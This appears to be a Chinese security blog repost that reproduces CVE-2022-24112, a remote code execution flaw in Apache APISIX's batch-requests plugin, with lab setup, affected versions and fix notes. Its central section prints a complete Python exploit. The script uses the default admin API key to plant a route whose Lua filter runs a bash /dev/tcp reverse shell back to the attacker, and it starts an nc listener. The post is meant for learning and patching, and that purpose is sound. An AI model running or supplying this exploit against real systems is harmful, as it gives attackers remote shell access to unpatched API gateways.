CVE-2022-24112:Apache APISIX 命令执行漏洞

admin 2023年3月17日04:19:45评论318 views字数 6040阅读20分8秒阅读模式


上方蓝色字体关注我们,一起学安全!
作者:H1kki@Timeline Sec
本文字数:2255
阅读时长:3~5min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负


0x01 简介
Apache APISIX 是 Apache 软件基金会下的云原生 API 网关,它兼具动态、实时、高性能等特点,提供了负载均衡、动态上游、灰度发布(金丝雀发布)、服务熔断、身份认证、可观测性等丰富的流量管理功能。

我们可以使用 Apache APISIX 来处理传统的南北向流量,也可以处理服务间的东西向流量。同时,它也支持作为 K8s Ingress Controller 来使用,其主要架构如下

CVE-2022-24112:Apache APISIX 命令执行漏洞


0x02 漏洞概述
漏洞编号:CVE-2022-24112
在启用 Apache APISIX batch-requests 插件后,攻击者通过 batch-requests 插件绕过 Apache APISIX 数据面板的 IP 限制(如绕过 IP 黑白名单限制)。如果用户使用 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API ,导致远程代码执行。

batch-requests插件介绍:
https://github.com/apache/apisix/blob/ec0fc2ceaf04a20b0bd0ebdaad67296a1d3f621c/docs/zh/latest/plugins/batch-requests.md


0x03 影响版本
Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1)
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本 (不包含 2.10.4)


0x04 环境搭建
clone 漏洞环境:
git clone https://github.com/twseptian/cve-2022-24112

切换目录:
cd cve-2022-24112/apisix-docker/example/

修改配置,加上Apache APISIX 数据面板的 IP 限制:
修改apisix_conf/config.yaml
将allow_admin 修改为 127.0.0.0/24

CVE-2022-24112:Apache APISIX 命令执行漏洞


启动容器:
docker-compose -p docker-apisix up -d

测试访问:
访问http://IP:9000端口,如果显示页面说明环境搭建成功

CVE-2022-24112:Apache APISIX 命令执行漏洞


0x05 漏洞复现
我们来通过POC分析:
https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py
#!/usr/bin/python3
# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: Kali Linux
# CVE : CVE-2022-24112

import requests
import sys
import subprocess
import shlex
import argparse

class Interface ():
 def __init__ (self):
  self.red = '33[91m'
  self.green = '33[92m'
  self.white = '33[37m'
  self.yellow = '33[93m'
  self.bold = '33[1m'
  self.end = '33[0m'

 def header(self):
  print('n    >> Apache APISIX 2.12.1 - Remote Code Execution (RCE)')
  print('    >> by twseptiann')

 def info (self, message):
  print(f"[{self.white}*{self.end}{message}")

 def warning (self, message):
  print(f"[{self.yellow}!{self.end}{message}")

 def error (self, message):
  print(f"[{self.red}x{self.end}{message}")

 def success (self, message):
  print(f"[{self.green}{self.end}{self.bold}{message}{self.end}")

# Instantiate our interface class
global output
output = Interface()
output.header()

class Exploit:
    def __init__(self, target_ip, target_port, localhost,localport):
        self.target_ip = target_ip
        self.target_port = target_port
        self.localhost = localhost
        self.localport = localport
    
    def get_rce(self):
        headers1 = {
            'Host''{}:8080'.format(target_ip),
            'User-Agent''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
            'X-API-KEY''edd1c9f034335f136f87ad84b625c8f1',
            'Accept''*/*','Accept-Encoding''gzip, deflate',
            'Content-Type''application/json',
            'Content-Length''540','Connection''close',
        }
        headers2 = {
            'Host''{}:8080'.format(target_ip),
            'User-Agent''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
            'X-API-KEY''edd1c9f034335f136f87ad84b625c8f1',
            'Accept''*/*','Accept-Encoding''gzip, deflate',
            'Content-Type''application/json',
            'Connection''close',
        }
        json_data = {
            'headers': {
                'X-Real-IP''{}:8080'.format(target_ip),
                'X-API-KEY''edd1c9f034335f136f87ad84b625c8f1',
                'Content-Type''application/json',
            },
            'timeout'1500,
            'pipeline': [
                { 
                    'path''/apisix/admin/routes/index','method''PUT',
                    'body''{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute('bash -c \\\"0<&160-;exec 160<>/dev/tcp/'+localhost+'/'+localport+';/bin/sh <&160 >&160 2>&160\\\"'); return true end"}',
                },
            ],
        }
        
        output.warning("Take RCEn")
        response1 = requests.post('http://'+target_ip+':'+target_port+'/apisix/batch-requests', headers=headers1, json=json_data, verify=False)
        listener = "nc -nvlp {}".format(localport)
        cmnd = shlex.split(listener)
        subprocess.Popen(cmnd)
        response2 = requests.get('http://'+target_ip+':'+target_port+'/rms/fzxewh', headers=headers2, verify=False)

def get_args():
    parser = argparse.ArgumentParser(description='Apache APISIX 2.12.1 - Remote Code Execution (RCE)')
    parser.add_argument('-t''--rhost', dest="target_ip", required=True, action='store', help='Target IP')
    parser.add_argument('-p''--rport', dest="target_port", required=True, action='store', help='Target Port')
    parser.add_argument('-L''--lhost', dest="localhost", required=True, action='store', help='Localhost/Local IP')
    parser.add_argument('-P''--lport', dest="localport", required=True, action='store', help='Localport')
    args = parser.parse_args()
    return args

try:
    args = get_args()
    target_ip = args.target_ip
    target_port = args.target_port
    localhost = args.localhost
    localport = args.localport
    
    exp = Exploit(target_ip, target_port, localhost, localport)
    exp.get_rce()
except KeyboardInterrupt:
    pass
可以看到主要的思路就是通过传参绕过IP校验 + 使用默认API KEY值调用Admin API
CVE-2022-24112:Apache APISIX 命令执行漏洞
image-20230307122241198
然后使用PUT请求添加路由,触发filter_func()执行其中的lua代码
我们利用上述EXP进行攻击,命令格式如下:
python3 exp.py -t 受害者主机 -p 服务运行的端口 -L 攻击者主机 -P 接受反弹Shell的端口
执行EXP命令后
CVE-2022-24112:Apache APISIX 命令执行漏洞
image-20230307130149035
成功获取反弹Shell,我们再来看看保存的路由信息
CVE-2022-24112:Apache APISIX 命令执行漏洞
image-20230307122446868
可以看到在filter_func()函数中,调用了lua的系统目录执行语句os.execute()进行反弹shell

0x06 修复方式


最简单的方式就是更新版本,或者禁用batch-requests 插件
我们再次看一下,版本更新的修复思路 ——
CVE-2022-24112:Apache APISIX 命令执行漏洞
image-20230307110106241
因为Lua 区分大小写,所以在从系统中获取real_ip_hdr后,将其转换为小写格式
保证core.request.get_remote_client_ip()的值能够覆盖data传入的可控参数
参考链接:

https://mp.weixin.qq.com/s/rfN_BtCuwVCS90jwCoA48g

https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112

https://nvd.nist.gov/vuln/detail/CVE-2022-24112

https://paper.seebug.org/1984


历史漏洞:

CVE-2021-45232:Apache APISIX Dashboard RCE


后台回复“安全书籍”可领取一份电子版
CVE-2022-24112:Apache APISIX 命令执行漏洞

CVE-2022-24112:Apache APISIX 命令执行漏洞
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行





原文始发于微信公众号(Timeline Sec):CVE-2022-24112:Apache APISIX 命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月17日04:19:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-24112:Apache APISIX 命令执行漏洞https://cn-sec.com/archives/1610155.html

发表评论

匿名网友 填写信息